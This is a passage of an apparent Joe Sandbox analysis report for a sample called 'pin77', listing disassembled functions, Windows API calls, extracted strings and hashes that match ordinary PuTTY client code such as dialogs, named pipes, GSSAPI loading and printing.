                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_acquire_cred), ref: 00340811
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,gss_inquire_cred_by_mech), ref: 0034081D
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc$Library$Load_strlen$CloseQueryValue$FreeOpen
                                                                                                                                                    • String ID: %.*s$2.dl$AcquireCredentialsHandleA$AddDllDirectory$DeleteSecurityContext$FreeContextBuffer$FreeCredentialsHandle$InitializeSecurityContextA$InstallDir$MakeSignature$QueryContextAttributesA$SOFTWARE\MIT\Kerberos$Using GSSAPI from user-specified library '%s'$VerifySignature$api3$gss_acquire_cred$gss_delete_sec_context$gss_display_status$gss_get_mic$gss_import_name$gss_init_sec_context$gss_inquire_cred_by_mech$gss_release_buffer$gss_release_cred$gss_release_name$gss_verify_mic$kernel32.dll$l$secur32.dll
                                                                                                                                                    • API String ID: 3724305165-2373097305
                                                                                                                                                    • Opcode ID: 26831bd5d5049cb2265b5d77acd3bd290ae73ad0a3840f3e79b0d346cbed88f0
                                                                                                                                                    • Instruction ID: b3a4c2fac04afb403eab7d00e6e777c253e04dc8157ed05a405736185d2be935
                                                                                                                                                    • Opcode Fuzzy Hash: 26831bd5d5049cb2265b5d77acd3bd290ae73ad0a3840f3e79b0d346cbed88f0
                                                                                                                                                    • Instruction Fuzzy Hash: 5DD1A6B5A00304AFD712DF659C86B7A7BE8EB41B08F00442EFD499E386E774E904CB56
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030E540 Relevance: 75.7, APIs: 40, Strings: 3, Instructions: 415windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetWindowLongA.USER32 ref: 0030E641
                                                                                                                                                    • SetBkMode.GDI32(?,00000001), ref: 0030E65D
                                                                                                                                                    • GetStockObject.GDI32(0000000D), ref: 0030E665
                                                                                                                                                    • SelectObject.GDI32(?,00000000), ref: 0030E66D
                                                                                                                                                    • GetObjectA.GDI32(00000000,0000003C,?), ref: 0030E67B
                                                                                                                                                    • CreateFontIndirectA.GDI32(?), ref: 0030E6A2
                                                                                                                                                    • SelectObject.GDI32(?,00000000), ref: 0030E6AE
                                                                                                                                                    • GetSysColorBrush.USER32(0000000F), ref: 0030E6B6
                                                                                                                                                    • SetDlgItemTextA.USER32 ref: 0030E777
                                                                                                                                                    • SetWindowTextA.USER32(?), ref: 0030E795
                                                                                                                                                    • GetDlgItem.USER32 ref: 0030E7A8
                                                                                                                                                    • DestroyWindow.USER32(00000000), ref: 0030E7B3
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,00000064,000000BA,00000000,00000000), ref: 0030E7C5
                                                                                                                                                    • MapDialogRect.USER32(?,00000028), ref: 0030E808
                                                                                                                                                    • GetDlgItem.USER32 ref: 0030E82E
                                                                                                                                                    • GetDlgItem.USER32 ref: 0030E857
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Item$Object$Window$SelectText$BrushColorCreateDestroyDialogFontIndirectLongMessageModeRectSendStock
                                                                                                                                                    • String ID: %s$<$PuTTYHostKeyMoreInfo
                                                                                                                                                    • API String ID: 2631976558-3476551089
                                                                                                                                                    • Opcode ID: a4d03f925da5baa2069ee6badeab3d508a2423a52fa1791f316fc56ce29e96cb
                                                                                                                                                    • Instruction ID: 322e1a20945a41739eea08ce0d91b29f0f71d6a4ecd943165532e2a54badb9e2
                                                                                                                                                    • Opcode Fuzzy Hash: a4d03f925da5baa2069ee6badeab3d508a2423a52fa1791f316fc56ce29e96cb
                                                                                                                                                    • Instruction Fuzzy Hash: 04E19E70649301AFE7229F10DC85F2EBBE9FB84B04F11091DF694AA2E1C775A904CF92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037ECF0 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 138filepipeCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ___from_strstr_to_strchr.LIBCMT ref: 0037ED34
                                                                                                                                                    • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,40000000,00000000,?,?,?,?,?,0037EEB8,?), ref: 0037ED75
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,0037EEB8,?), ref: 0037ED7C
                                                                                                                                                    • WaitNamedPipeA.KERNEL32 ref: 0037ED8A
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,0037EEB8,?), ref: 0037ED94
                                                                                                                                                      • Part of subcall function 0032C330: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C367
                                                                                                                                                      • Part of subcall function 0032C330: OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C375
                                                                                                                                                      • Part of subcall function 0032C330: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3B4
                                                                                                                                                      • Part of subcall function 0032C330: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3D1
                                                                                                                                                      • Part of subcall function 0032C330: GetLengthSid.ADVAPI32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C3FB
                                                                                                                                                      • Part of subcall function 0032C330: CopySid.ADVAPI32(00000000,00000000,00000000), ref: 0032C41A
                                                                                                                                                      • Part of subcall function 0032C330: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C43B
                                                                                                                                                      • Part of subcall function 0032C330: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C44A
                                                                                                                                                      • Part of subcall function 0032C330: LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,751F5B70,0032C777), ref: 0032C455
                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0037EEB8,?), ref: 0037EDD7
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,?,0037EEB8,?), ref: 0037EDDD
                                                                                                                                                      • Part of subcall function 0032CC90: FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD1B
                                                                                                                                                      • Part of subcall function 0032CC90: _strlen.LIBCMT ref: 0032CD26
                                                                                                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,?,0037EEB8,?), ref: 0037EE15
                                                                                                                                                    • GetLastError.KERNEL32(?,?,?,?,?,0037EEB8,?), ref: 0037EE1B
                                                                                                                                                    • EqualSid.ADVAPI32(00000000,00000000,?,?,?,?,?,?,0037EEB8,?), ref: 0037EE37
                                                                                                                                                    • LocalFree.KERNEL32(?,?,?,?,?,?,?,0037EEB8,?), ref: 0037EE44
                                                                                                                                                    Strings
                                                                                                                                                    • strncmp(pipename, "\\\\.\\pipe\\", 9) == 0, xrefs: 0037ED21
                                                                                                                                                    • Unable to get user SID: %s, xrefs: 0037EE2B
                                                                                                                                                    • strchr(pipename + 9, '\\') == NULL, xrefs: 0037ED47
                                                                                                                                                    • Error waiting for named pipe '%s': %s, xrefs: 0037EDA5
                                                                                                                                                    • Unable to get named pipe security information: %s, xrefs: 0037EDED
                                                                                                                                                    • Owner of named pipe '%s' is not us, xrefs: 0037EE5D
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/named-pipe-client.c, xrefs: 0037ED1C, 0037ED42
                                                                                                                                                    • Unable to open named pipe '%s': %s, xrefs: 0037EE05
                                                                                                                                                    • \\.\pipe\, xrefs: 0037ED08
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast$CloseHandle$Local$FreeProcess$AllocCopyCreateCurrentEqualFileFormatLengthMessageNamedOpenPipeWait___from_strstr_to_strchr_strlen
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/named-pipe-client.c$Error waiting for named pipe '%s': %s$Owner of named pipe '%s' is not us$Unable to get named pipe security information: %s$Unable to get user SID: %s$Unable to open named pipe '%s': %s$\\.\pipe\$strchr(pipename + 9, '\\') == NULL$strncmp(pipename, "\\\\.\\pipe\\", 9) == 0
                                                                                                                                                    • API String ID: 1975913820-4078258191
                                                                                                                                                    • Opcode ID: 7e4c9e3734fe28f8f17e0b2e65ba29f71e64c2912e16a0d311c0c18814181ff8
                                                                                                                                                    • Instruction ID: 5acee6ddd7cdb271b1678884f08e1a9b711e9aea3daf7eb244925776e07e86e1
                                                                                                                                                    • Opcode Fuzzy Hash: 7e4c9e3734fe28f8f17e0b2e65ba29f71e64c2912e16a0d311c0c18814181ff8
                                                                                                                                                    • Instruction Fuzzy Hash: B741F875A40250BBE6336B70FC4BF6F376CEF48B54F044524FA09EE1D1EA75990086A2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037A0D0 Relevance: 38.8, APIs: 2, Strings: 20, Instructions: 265COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strftime
                                                                                                                                                    • String ID: %Y-%m-%d %H:%M:%S UTC$cert_ca_key$cert_ca_key_$cert_ca_key_algorithm_id$cert_ca_sig$cert_critical_option$cert_critical_option_data$cert_extension$cert_extension_data$cert_key_id$cert_nonce$cert_serial$cert_type$cert_valid_after$cert_valid_after_date$cert_valid_before$cert_valid_before_date$cert_valid_principal$host$user
                                                                                                                                                    • API String ID: 1867682108-3603795471
                                                                                                                                                    • Opcode ID: 1601fa55691795e03ff4e035a9c839af81b8dbb154a827949d7bb9c45ba39f2c
                                                                                                                                                    • Instruction ID: eba9e34afd10e376783fb766c23d16fd7e72033fa0d045ed8a3e8299df30d11f
                                                                                                                                                    • Opcode Fuzzy Hash: 1601fa55691795e03ff4e035a9c839af81b8dbb154a827949d7bb9c45ba39f2c
                                                                                                                                                    • Instruction Fuzzy Hash: E581A5B6900200BFE713BF54EC82D6EB7E9EF48740F044859F9589B352E771A925CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003147C0 Relevance: 37.6, APIs: 25, Instructions: 149COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • DeleteObject.GDI32 ref: 003147F8
                                                                                                                                                    • CreateCompatibleDC.GDI32(00000000), ref: 0031481E
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 0031482D
                                                                                                                                                    • _strlen.LIBCMT ref: 00314834
                                                                                                                                                    • GetTextExtentPoint32A.GDI32(00000000,?,00000000,?), ref: 00314844
                                                                                                                                                    • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000016), ref: 00314863
                                                                                                                                                    • InvalidateRect.USER32(?,00000000,00000000), ref: 0031486E
                                                                                                                                                    • DeleteDC.GDI32(00000000), ref: 00314875
                                                                                                                                                    • DefWindowProcA.USER32(?,?,?,?), ref: 00314882
                                                                                                                                                    • BeginPaint.USER32(?,?), ref: 00314895
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 003148AA
                                                                                                                                                    • GetStockObject.GDI32(00000007), ref: 003148AE
                                                                                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 003148B6
                                                                                                                                                    • CreateSolidBrush.GDI32 ref: 003148BE
                                                                                                                                                    • SelectObject.GDI32(00000000,00000000), ref: 003148CA
                                                                                                                                                    • GetClientRect.USER32 ref: 003148D5
                                                                                                                                                    • Rectangle.GDI32(00000000,?,?,?,?), ref: 003148EC
                                                                                                                                                    • GetWindowTextLengthA.USER32(?), ref: 003148F3
                                                                                                                                                    • GetWindowTextA.USER32 ref: 00314914
                                                                                                                                                    • SetTextColor.GDI32(00000000), ref: 00314921
                                                                                                                                                    • SetBkColor.GDI32(00000000), ref: 0031492E
                                                                                                                                                    • TextOutA.GDI32(00000000,?,?,00000000,00000000), ref: 00314947
                                                                                                                                                    • SelectObject.GDI32(00000000), ref: 0031495A
                                                                                                                                                    • DeleteObject.GDI32(?), ref: 00314964
                                                                                                                                                    • EndPaint.USER32(?,?), ref: 00314970
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Object$SelectText$Window$Delete$ColorCreatePaintRect$BeginBrushClientCompatibleExtentInvalidateLengthPoint32ProcRectangleSolidStock_strlen
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2408264671-0
                                                                                                                                                    • Opcode ID: 68a968bdd6040fe445d92f9bdb842c2ee8e28752730424760dc5aa5f1393a001
                                                                                                                                                    • Instruction ID: 42021a2b04ca8ef3449a22fcb6426a71f90956b9258ca4400fb8b3e2b8e553cf
                                                                                                                                                    • Opcode Fuzzy Hash: 68a968bdd6040fe445d92f9bdb842c2ee8e28752730424760dc5aa5f1393a001
                                                                                                                                                    • Instruction Fuzzy Hash: 23515D72504240AFD3239F60EC89F7F7BADEB89745F010618FA469A1E0DB31A805DB62
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F84A0 Relevance: 36.9, APIs: 17, Strings: 4, Instructions: 181windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetDC.USER32 ref: 002F8583
                                                                                                                                                    • GetDeviceCaps.GDI32(00000000,00000026), ref: 002F858E
                                                                                                                                                    • CreatePalette.GDI32 ref: 002F85A5
                                                                                                                                                    • SelectPalette.GDI32(00000000,00000000,00000000), ref: 002F85C2
                                                                                                                                                    • RealizePalette.GDI32(00000000), ref: 002F85C5
                                                                                                                                                    • GetStockObject.GDI32(0000000F), ref: 002F85CD
                                                                                                                                                    • SelectPalette.GDI32(00000000,00000000,00000000), ref: 002F85D7
                                                                                                                                                    • SetPaletteEntries.GDI32(?,?,?,?), ref: 002F8635
                                                                                                                                                    • GetDC.USER32(00000000), ref: 002F8647
                                                                                                                                                    • SelectPalette.GDI32(00000000,00000000), ref: 002F865C
                                                                                                                                                    • UnrealizeObject.GDI32 ref: 002F866A
                                                                                                                                                    • RealizePalette.GDI32(00000000), ref: 002F8671
                                                                                                                                                    • GetStockObject.GDI32(0000000F), ref: 002F8699
                                                                                                                                                    • SelectPalette.GDI32(00000000,00000000,00000000), ref: 002F86A3
                                                                                                                                                    • ReleaseDC.USER32 ref: 002F86B0
                                                                                                                                                    • InvalidateRect.USER32(00000000,00000001), ref: 002F86D2
                                                                                                                                                    • ReleaseDC.USER32 ref: 002F86E6
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Palette$Select$Object$RealizeReleaseStock$CapsCreateDeviceEntriesInvalidateRectUnrealize
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$ncolours <= OSC4_NCOLOURS - start$start <= OSC4_NCOLOURS$wgs.term_hwnd
                                                                                                                                                    • API String ID: 3328073877-4099717352
                                                                                                                                                    • Opcode ID: db6100cb04b7c93b8e71a2939158f50002e174f1034d314d355eddf222089700
                                                                                                                                                    • Instruction ID: cb0b9fcb9984c76d560172cef14ff9ffad9cce0eb005d7884ea766f3d3ad1dbd
                                                                                                                                                    • Opcode Fuzzy Hash: db6100cb04b7c93b8e71a2939158f50002e174f1034d314d355eddf222089700
                                                                                                                                                    • Instruction Fuzzy Hash: 61512671604286AFE7235F25EC8DF76BB6CEB21345F040124F6459E2E2DF719811CB54
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032EEA0 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 59libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B850: LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,EnumPrintersA), ref: 0032EEDB
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,OpenPrinterA), ref: 0032EEE8
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,ClosePrinter), ref: 0032EEF5
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,StartDocPrinterA), ref: 0032EF02
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,EndDocPrinter), ref: 0032EF0F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,StartPagePrinter), ref: 0032EF1C
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,EndPagePrinter), ref: 0032EF29
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,WritePrinter), ref: 0032EF36
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc$LibraryLoad
                                                                                                                                                    • String ID: ClosePrinter$EndDocPrinter$EndPagePrinter$EnumPrintersA$OpenPrinterA$StartDocPrinterA$StartPagePrinter$WritePrinter$spoolss.dll$winspool.drv
                                                                                                                                                    • API String ID: 2238633743-2130675966
                                                                                                                                                    • Opcode ID: 278229c4f1962d30796907096dd01529deb5d622d0b9400240654c604bbc606f
                                                                                                                                                    • Instruction ID: cff94d78b3f02abe7443bd1161abb23d248a9848c45375d2cc9079b27251b9a0
                                                                                                                                                    • Opcode Fuzzy Hash: 278229c4f1962d30796907096dd01529deb5d622d0b9400240654c604bbc606f
                                                                                                                                                    • Instruction Fuzzy Hash: D8112EB69817546EE383EB29BD15BBAB7DCBF51704F06011BE40096261EBB44705CF91
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002FACF4 Relevance: 30.1, APIs: 1, Strings: 16, Instructions: 336COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 002F5E50: _strlen.LIBCMT ref: 002F5E61
                                                                                                                                                    • __fread_nolock.LIBCMT ref: 002FAF51
                                                                                                                                                      • Part of subcall function 002F5D40: DeleteObject.GDI32(00000000), ref: 002F5D81
                                                                                                                                                      • Part of subcall function 002F5D40: DestroyIcon.USER32(FFFFFFFF,00000000,?,?,002FB151,00000001,?,?,?,?,?,002F5BA6,?,002F2A83), ref: 002F5D90
                                                                                                                                                      • Part of subcall function 002F5D40: DeleteObject.GDI32(?), ref: 002F5DB8
                                                                                                                                                      • Part of subcall function 002F5D40: CoUninitialize.OLE32(00000001,?,?,?,?,?,002F5BA6,?,002F2A83), ref: 002F5DCD
                                                                                                                                                    Strings
                                                                                                                                                    • --host_ca, xrefs: 002FAE7B
                                                                                                                                                    • demo-server.example.com, xrefs: 002FAFDC, 002FB0C2
                                                                                                                                                    • -demo-config-box, xrefs: 002FAE91
                                                                                                                                                    • unknown option "%s", xrefs: 002FAEBF
                                                                                                                                                    • --host-ca, xrefs: 002FAE4F
                                                                                                                                                    • This procedure will remove ALL Registry entriesassociated with %s, and will also removethe random seed file. (This only affects thecurrently logged-in user.)THIS PROCESS WILL DESTROY YOUR SAVED SESSIONS.Are you really sure you want to continue?, xrefs: 002FB04A
                                                                                                                                                    • %s expects input and output filenames, xrefs: 002FAF92
                                                                                                                                                    • -demo-terminal, xrefs: 002FAEA3
                                                                                                                                                    • unexpected argument "%s", xrefs: 002FAF7C
                                                                                                                                                    • -cleanup, xrefs: 002FAE04
                                                                                                                                                    • can't open input file '%s', xrefs: 002FAF1F
                                                                                                                                                    • %s Warning, xrefs: 002FB05A
                                                                                                                                                    • option "%s" requires an argument, xrefs: 002FADB1
                                                                                                                                                    • F~=, xrefs: 002FB043
                                                                                                                                                    • -pgpfp, xrefs: 002FAE1A
                                                                                                                                                    • %s expects an output filename, xrefs: 002FAF87
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: DeleteObject$DestroyIconUninitialize__fread_nolock_strlen
                                                                                                                                                    • String ID: %s Warning$%s expects an output filename$%s expects input and output filenames$--host-ca$--host_ca$-cleanup$-demo-config-box$-demo-terminal$-pgpfp$F~=$This procedure will remove ALL Registry entriesassociated with %s, and will also removethe random seed file. (This only affects thecurrently logged-in user.)THIS PROCESS WILL DESTROY YOUR SAVED SESSIONS.Are you really sure you want to continue?$can't open input file '%s'$demo-server.example.com$option "%s" requires an argument$unexpected argument "%s"$unknown option "%s"
                                                                                                                                                    • API String ID: 3701376555-3833586897
                                                                                                                                                    • Opcode ID: 6f609506aca656503197e046e7285b53c85c15d0ac6c0a3f2d484ebbe1adfb1c
                                                                                                                                                    • Instruction ID: c6d0f32daef55bfa998c0babb7a6c7cc665953a996e1ded5af8fdc6cbd3a00e9
                                                                                                                                                    • Opcode Fuzzy Hash: 6f609506aca656503197e046e7285b53c85c15d0ac6c0a3f2d484ebbe1adfb1c
                                                                                                                                                    • Instruction Fuzzy Hash: A891E8F5D6421966E6237A207C43FBF76584F627C9F040038FE0D692C3FB96A96581A3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6420 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 167windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreatePopupMenu.USER32 ref: 002F644C
                                                                                                                                                    • AppendMenuA.USER32 ref: 002F6481
                                                                                                                                                    • DeleteMenu.USER32(?,00000000), ref: 002F65A5
                                                                                                                                                    • DeleteMenu.USER32(00000200,00000000), ref: 002F65B4
                                                                                                                                                    • InsertMenuA.USER32(00000010,00000010,00000000,S&pecial Command), ref: 002F65D2
                                                                                                                                                    • InsertMenuA.USER32(00000010,00000800,00000200,00000000), ref: 002F65E8
                                                                                                                                                    • DeleteMenu.USER32(?,00000000), ref: 002F6604
                                                                                                                                                    • DeleteMenu.USER32(00000200,00000000), ref: 002F6613
                                                                                                                                                    • InsertMenuA.USER32(00000010,00000010,00000000,S&pecial Command), ref: 002F6631
